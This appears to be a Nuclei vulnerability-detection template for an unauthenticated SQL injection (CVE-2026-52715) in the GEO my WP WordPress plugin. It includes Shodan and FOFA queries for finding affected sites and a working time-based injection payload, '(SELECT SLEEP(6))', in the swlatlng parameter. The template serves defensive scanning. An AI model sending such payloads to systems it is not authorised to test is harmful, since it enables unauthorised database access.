GEO my WP <= 4.5.5 - Unauthenticated SQL Injection

id: CVE-2026-52715

info:
  name: GEO my WP <= 4.5.5 - Unauthenticated SQL Injection
  author: HaroonArshad-53
  severity: critical
  description: |
    The GEO my WP plugin for WordPress up to and including 4.5.5 does not sanitise the swlatlng and nelatlng map boundary parameters of its locator search form. The values are split on a comma and concatenated directly into the SQL query, allowing unauthenticated attackers to run blind SQL queries and extract arbitrary database contents.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands, potentially leading to data disclosure or modification.
  remediation: |
    Update to a version later than 4.5.5 or the latest available version.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-52715
    - https://dev.to/guidance_white/cve-2026-52715-unauthenticated-sql-injection-in-geo-my-wp-via-map-boundary-search-2fij
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2026-52715
    epss-score: 0.004
    epss-percentile: 0.33064
    cwe-id: CWE-89
  metadata:
    max-request: 2
    vendor: eyal-fitoussi
    product: geo-my-wp
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/geo-my-wp/"
    fofa-query: body="/wp-content/plugins/geo-my-wp/"
  tags: cve,cve2026,wordpress,wp-plugin,geo-my-wp,sqli,time-based-sqli,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/geo-my-wp/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - compare_versions(version, "< 4.5.5.1")

    extractors:
      - type: regex
        name: version
        part: body
        internal: true
        group: 1
        regex:
          - "Stable tag: ([0-9.]+)"

  - raw:
      - |
        @timeout: 10s
        GET /?page_id=4&swlatlng=%28SELECT%20SLEEP%286%29%29%2C0&nelatlng=1%2C1 HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - duration >= 6
        condition: and
# digest: 4a0a0047304502202c2f16c231a52fbc51ddfe68c73a60cc8755624ce21c9f94f9c923ea628a250c022100887568e54857c92342631f06b9fe849a30fa4a40466db349366e99aab2ea263a:922c64590222798bb761d5b6d8e72950